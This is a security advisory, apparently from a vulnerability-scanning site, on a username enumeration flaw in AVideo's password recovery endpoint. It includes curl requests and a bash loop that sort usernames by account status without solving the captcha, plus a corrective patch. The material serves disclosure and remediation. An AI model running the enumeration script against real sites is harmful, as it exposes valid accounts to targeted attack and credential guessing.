| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| wwbn/avideo | ≤ 26.0 | |
| avideo | ≤ 26.0 |
The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.
In objects/userRecoverPass.php, the request flow is:
User object is instantiated from unsanitized $_REQUEST['user'] with no authentication:$user = new User(0, $_REQUEST['user'], false);
if (empty($user->getStatus())) {
$obj->error = __("User not found");
die(json_encode($obj));
}
if ($user->getStatus() !== 'a') {
$obj->error = __("The user is not active");
die(json_encode($obj));
}
if (empty($_REQUEST['captcha'])) {
$obj->error = __("Captcha is empty");
} else {
require_once 'captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.
By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.
No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).
# 1. Test a non-existent user — returns "User not found" without captcha
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=nonexistent_user_xyz&captcha=' | jq .error
# Response: "User not found"
# 2. Test a valid active user — passes user checks, hits captcha validation
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=admin&captcha=' | jq .error
# Response: "Captcha is empty"
# 3. Test an inactive/banned user (if one exists) — returns distinct status message
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=banned_user&captcha=' | jq .error
# Response: "The user is not active"
# 4. Bulk enumeration script — no captcha solving required
for user in admin root test user1 user2 moderator editor; do
result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d "user=${user}&captcha=")
error=$(echo "$result" | jq -r .error)
if [ "$error" = "Captcha is empty" ]; then
echo "[ACTIVE] $user"
elif [ "$error" = "The user is not active" ]; then
echo "[INACTIVE] $user"
else
echo "[NOT FOUND] $user"
fi
done
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíMove the captcha validation before the user existence checks, and return a generic message regardless of user status:
// In objects/userRecoverPass.php, replace lines 26-41 with:
header('Content-Type: application/json');
// Validate captcha FIRST, before any user lookups
if (empty($_REQUEST['captcha'])) {
$obj->error = __("Captcha is empty");
die(json_encode($obj));
}
require_once 'captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
if (!$valid) {
$obj->error = __("Your code is not valid");
$obj->reloadCaptcha = true;
die(json_encode($obj));
}
// After captcha passes, check user — but use generic message
if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) {
// Generic message — do not reveal whether user exists or is active
$obj->success = __("If this account exists, a recovery email has been sent");
die(json_encode($obj));
}
// Proceed with actual password recovery...
$recoverPass = $user->setRecoverPass();
Additionally, consider adding rateLimitByIP() to this endpoint as defense-in-depth.